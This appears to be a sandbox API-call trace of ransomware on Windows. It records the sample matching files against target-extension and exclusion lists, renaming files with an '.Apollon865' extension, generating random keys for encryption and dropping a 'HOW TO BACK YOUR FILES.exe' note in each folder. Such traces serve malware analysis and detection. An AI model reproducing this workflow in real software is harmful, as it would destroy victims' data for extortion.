	[0078.518] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.518] lstrlenW (lpString="$er") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.518] lstrlenW (lpString="4dd") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.518] lstrlenW (lpString="4dl") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.518] lstrlenW (lpString="^^^") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.518] lstrlenW (lpString="abs") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.518] lstrlenW (lpString="abx") returned 3
	[0078.518] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.518] lstrlenW (lpString="accdb") returned 5
	[0078.518] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0078.518] lstrlenW (lpString="accdc") returned 5
	[0078.518] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0078.519] lstrlenW (lpString="accde") returned 5
	[0078.519] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0078.519] lstrlenW (lpString="accdr") returned 5
	[0078.519] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0078.519] lstrlenW (lpString="accdt") returned 5
	[0078.519] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0078.519] lstrlenW (lpString="accdw") returned 5
	[0078.519] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0078.519] lstrlenW (lpString="accft") returned 5
	[0078.519] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0078.519] lstrlenW (lpString="adb") returned 3
	[0078.519] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.519] lstrlenW (lpString="adb") returned 3
	[0078.519] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.519] lstrlenW (lpString="ade") returned 3
	[0078.519] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.519] lstrlenW (lpString="adf") returned 3
	[0078.519] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.519] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.519] lstrlenW (lpString="Setup.xml") returned 9
	[0078.519] lstrlenW (lpString="Apollon865") returned 10
	[0078.519] lstrlenW (lpString=".dll") returned 4
	[0078.519] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.519] lstrlenW (lpString=".lnk") returned 4
	[0078.519] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.520] lstrlenW (lpString=".ini") returned 4
	[0078.520] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.520] lstrlenW (lpString=".sys") returned 4
	[0078.520] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.520] lstrlenW (lpString="Setup.xml") returned 9
	[0078.520] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.520] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0078.748] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2362) returned 1
	[0078.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfa30
	[0078.756] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf920) returned 1
	[0078.758] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.758] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.766] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc40, lpName=0x0) returned 0xd8
	[0078.787] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc40) returned 0x100000
	[0078.798] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf920) returned 1
	[0078.799] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.799] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.799] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.843] CloseHandle (hObject=0xd8) returned 1
	[0078.843] CloseHandle (hObject=0xc0) returned 1
	[0078.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0078.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.843] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0078.844] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0078.844] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0078.844] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C"
	[0078.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0078.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0078.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned 62
	[0078.844] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C"
	[0078.844] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.844] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.862] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.862] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4714ba90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4714ba90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.862] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.862] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.862] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.862] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4714ba90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4714ba90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.862] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.862] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.862] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.863] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.863] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4714ba90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4714ba90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.863] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.863] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="Apollon865.txt.exe") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2=".") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="..") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="windows") returned -1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="bootmgr") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="temp") returned -1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="pagefile.sys") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="boot") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="ids.txt") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="ntuser.dat") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="perflogs") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.en", lpString2="MSBuild") returned 1
	[0078.863] lstrlenW (lpString="Proof.en") returned 8
	[0078.863] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.863] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Proof.en" | out: lpString1="Proof.en") returned="Proof.en"
	[0078.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0078.863] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5c8f30
	[0078.863] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x5b7910
	[0078.863] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="Apollon865.txt.exe") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2=".") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="..") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="windows") returned -1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="bootmgr") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="temp") returned -1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="pagefile.sys") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="boot") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="ids.txt") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="ntuser.dat") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="perflogs") returned 1
	[0078.863] lstrcmpiW (lpString1="Proof.es", lpString2="MSBuild") returned 1
	[0078.864] lstrlenW (lpString="Proof.es") returned 8
	[0078.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned 71
	[0078.864] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Proof.es" | out: lpString1="Proof.es") returned="Proof.es"
	[0078.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0078.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a3168
	[0078.864] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0078.864] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="Apollon865.txt.exe") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2=".") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="..") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="windows") returned -1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="bootmgr") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="temp") returned -1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="pagefile.sys") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="boot") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="ids.txt") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="ntuser.dat") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="perflogs") returned 1
	[0078.864] lstrcmpiW (lpString1="Proof.fr", lpString2="MSBuild") returned 1
	[0078.864] lstrlenW (lpString="Proof.fr") returned 8
	[0078.864] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned 71
	[0078.864] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Proof.fr" | out: lpString1="Proof.fr") returned="Proof.fr"
	[0078.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0078.864] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a3338
	[0078.864] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0078.864] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2=".") returned 1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="..") returned 1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="windows") returned -1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="bootmgr") returned 1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="temp") returned -1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="pagefile.sys") returned 1
	[0078.864] lstrcmpiW (lpString1="Proofing.msi", lpString2="boot") returned 1
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2="ids.txt") returned 1
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2="ntuser.dat") returned 1
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2="perflogs") returned 1
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2="MSBuild") returned 1
	[0078.865] lstrlenW (lpString="Proofing.msi") returned 12
	[0078.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned 71
	[0078.865] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Proofing.msi" | out: lpString1="Proofing.msi") returned="Proofing.msi"
	[0078.865] lstrlenW (lpString="Proofing.msi") returned 12
	[0078.865] lstrlenW (lpString="Apollon865") returned 10
	[0078.865] lstrcmpiW (lpString1="oofing.msi", lpString2="Apollon865") returned 1
	[0078.865] lstrlenW (lpString=".dll") returned 4
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2=".dll") returned 1
	[0078.865] lstrlenW (lpString=".lnk") returned 4
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2=".lnk") returned 1
	[0078.865] lstrlenW (lpString=".ini") returned 4
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2=".ini") returned 1
	[0078.865] lstrlenW (lpString=".sys") returned 4
	[0078.865] lstrcmpiW (lpString1="Proofing.msi", lpString2=".sys") returned 1
	[0078.865] lstrlenW (lpString="Proofing.msi") returned 12
	[0078.865] lstrlenW (lpString="bak") returned 3
	[0078.865] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.865] lstrlenW (lpString="ba_") returned 3
	[0078.865] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.865] lstrlenW (lpString="dbb") returned 3
	[0078.865] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.865] lstrlenW (lpString="vmdk") returned 4
	[0078.865] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.865] lstrlenW (lpString="rar") returned 3
	[0078.865] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.865] lstrlenW (lpString="zip") returned 3
	[0078.865] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.865] lstrlenW (lpString="tgz") returned 3
	[0078.865] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.865] lstrlenW (lpString="vbox") returned 4
	[0078.865] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.865] lstrlenW (lpString="vdi") returned 3
	[0078.865] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.865] lstrlenW (lpString="vhd") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.866] lstrlenW (lpString="vhdx") returned 4
	[0078.866] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.866] lstrlenW (lpString="avhd") returned 4
	[0078.866] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.866] lstrlenW (lpString="db") returned 2
	[0078.866] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.866] lstrlenW (lpString="db2") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.866] lstrlenW (lpString="db3") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.866] lstrlenW (lpString="dbf") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.866] lstrlenW (lpString="mdf") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.866] lstrlenW (lpString="mdb") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.866] lstrlenW (lpString="sql") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.866] lstrlenW (lpString="sqlite") returned 6
	[0078.866] lstrcmpiW (lpString1="ng.msi", lpString2="sqlite") returned -1
	[0078.866] lstrlenW (lpString="sqlite3") returned 7
	[0078.866] lstrcmpiW (lpString1="ing.msi", lpString2="sqlite3") returned -1
	[0078.866] lstrlenW (lpString="sqlitedb") returned 8
	[0078.866] lstrcmpiW (lpString1="fing.msi", lpString2="sqlitedb") returned -1
	[0078.866] lstrlenW (lpString="xml") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.866] lstrlenW (lpString="$er") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.866] lstrlenW (lpString="4dd") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.866] lstrlenW (lpString="4dl") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.866] lstrlenW (lpString="^^^") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.866] lstrlenW (lpString="abs") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.866] lstrlenW (lpString="abx") returned 3
	[0078.866] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.867] lstrlenW (lpString="accdb") returned 5
	[0078.867] lstrcmpiW (lpString1="g.msi", lpString2="accdb") returned 1
	[0078.867] lstrlenW (lpString="accdc") returned 5
	[0078.867] lstrcmpiW (lpString1="g.msi", lpString2="accdc") returned 1
	[0078.867] lstrlenW (lpString="accde") returned 5
	[0078.867] lstrcmpiW (lpString1="g.msi", lpString2="accde") returned 1
	[0078.867] lstrlenW (lpString="accdr") returned 5
	[0078.867] lstrcmpiW (lpString1="g.msi", lpString2="accdr") returned 1
	[0078.867] lstrlenW (lpString="accdt") returned 5
	[0078.867] lstrcmpiW (lpString1="g.msi", lpString2="accdt") returned 1
	[0078.867] lstrlenW (lpString="accdw") returned 5
	[0078.867] lstrcmpiW (lpString1="g.msi", lpString2="accdw") returned 1
	[0078.867] lstrlenW (lpString="accft") returned 5
	[0078.867] lstrcmpiW (lpString1="g.msi", lpString2="accft") returned 1
	[0078.867] lstrlenW (lpString="adb") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.867] lstrlenW (lpString="adb") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.867] lstrlenW (lpString="ade") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.867] lstrlenW (lpString="adf") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.867] lstrlenW (lpString="adn") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.867] lstrlenW (lpString="adp") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.867] lstrlenW (lpString="alf") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.867] lstrlenW (lpString="ask") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.867] lstrlenW (lpString="btr") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.867] lstrlenW (lpString="cat") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.867] lstrlenW (lpString="cdb") returned 3
	[0078.867] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
